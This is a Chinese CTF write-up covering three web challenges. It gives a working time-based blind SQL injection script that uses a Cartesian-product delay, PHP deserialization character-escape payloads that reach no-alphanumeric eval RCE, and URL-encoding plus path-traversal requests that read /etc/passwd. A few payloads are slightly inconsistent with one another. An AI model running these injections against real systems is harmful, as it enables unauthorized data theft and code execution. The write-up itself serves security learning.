hellosql

经过简单fuzz一下发现过滤了

1
* sleep union benchmark count if 

为什么偏偏就过滤和时间盲注有点的关键词呢,我感觉是考时间盲注的bypass,禁用了sleep,benchmark和count(*),想到了get_lock,而这题就是考的笛卡尔积,碰到知识盲区了没做出来,赛后学了一下笛卡尔积时间盲注,查漏补缺了一下时间盲注的方法,都写这在这篇文章了时间盲注的方法

if过滤用case…when…then…end代替,count(*)可以用其他的聚合函数(avg,sum,min,max)绕过,这里用max

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests  
import time
url = 'http://web-83bfbb55f8.challenge.xctf.org.cn/index.php'
flag = ''

for i in range(1, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload = "' or case when ascii(SUBSTR((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{},1))>{} then (select MAX(A.TABLE_NAME) from information_schema.columns A, information_schema.columns B) END#".format(i, mid) #表名为Flllag
#payload = "' or case when ascii(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flllag'),{},1))>{} then (select MAX(A.TABLE_NAME) from information_schema.columns A, information_schema.columns B) END#".format(i, mid) #字段只有一个是Flagg
payload = "' or case when ascii(SUBSTR((select(group_concat(Flagg))from(Flllag)),{},1))>{} then (select MAX(A.TABLE_NAME) from information_schema.columns A, information_schema.columns B) END#".format(i, mid) #查数据
data = {"id": payload, }
last = time.time()
response = requests.get(url, params=data)
now = time.time()
if now - last >= 0.5:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid==32 or mid==127:
break
print(i)
flag += chr(mid)
print("flag:" + flag)
print(flag)

屏幕截图 2023-07-21 231932.png

unserialize

www.zip下载源码,发现这几个文件:
function.php

1
2
3
4
5
6
7
8
9
<?php  
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
?>

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}
?>

login.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php  
session_start();
include_once "my.php";
include_once "function.php";

if (!isset($_SESSION['login'])) {
echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}

$login = @unserialize(a($_SESSION['login']));
echo $login;
?>

my.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php  

class pull_it {
private $x;

function __construct($xx) {
$this->x = $xx;
}

function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;

function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}

function __destruct() {
unset($this->root);
unset($this->pwd);
}

function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}
}
?>

反序列化字符逃逸加无字母数字rce,这里需要知道一个知识:反序列化一个字符串为对象时如果这个字符串里包含一个对象那它也会反序列化,还有一个就是这个字符逃逸只需要看a函数就行

先随便测试一下:

1
O:7:"push_it":2:{s:13:"push_itroot";s:4:"test";s:12:"push_itpwd";s:4:"test";}

==注意:==这里由于private属性有%00,没标出来知道就好
目标:
1
";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /**`;?>";}

把它带入pwd变量:
1
O:7:"push_it":2:{s:13:"push_itroot";s:4:"test";s:12:"push_itpwd";s:4:"";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /**`;?>";}";}

此时需要逃逸的字符是:
1
";s:12:"push_itpwd";s:4:"

共27个字符,但要按28算,因为经过测试s后面这个4会变成两位数(注意有%00)
bbbbbb->aaaa少了2个,14个bbbbbb就行
payload:
1
O:7:"push_it":2:{s:13:"\000push_it\000root";s:84:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:12:"\000push_it\000pwd";s:69:"";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /**`;?>";}";}

最终:

1
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /*`;?>";}

==通配符 /???/???这个模拟/bin/cat cat根目录所有==

或者构造异或cat /f*:

1
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");

base64编码:
1
KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7

脚本:
1
2
3
4
5
6
7
8
9
<?php  
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$l = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7"));
echo urlencode(serialize($l)));

得到:
1
O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A39%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%08%08%0F%01%0D%09%22%5E%22%7F%60%60%60%60%60%22%29%3B%22%3B%7D

最终payload:
1
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A39%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%08%08%0F%01%0D%09%22%5E%22%7F%60%60%60%60%60%22%29%3B%22%3B%7D

hinder

非预期:
提示访问hinder路由,发现

1
2
3
4
5
6
7
8
9
permission denied.


if (url.startsWith("/hinder")) {
response.setStatus(403);
response.getWriter().write("permission denied.");
} else {
filterChain.doFilter(servletRequest, servletResponse);
}

url编码绕过:
1
/%68%69%6e%64%65%72/

提示download路由
1
/download.action?filename=hint

可以读文件:
1
/%68%69%6e%64%65%72/download.action?filename=../../../../../../../../../../../../../../../../../etc/passwd

读了run.sh发现:
1
/oh_u_f1nd_me

再读/oh_u_f1nd_me就行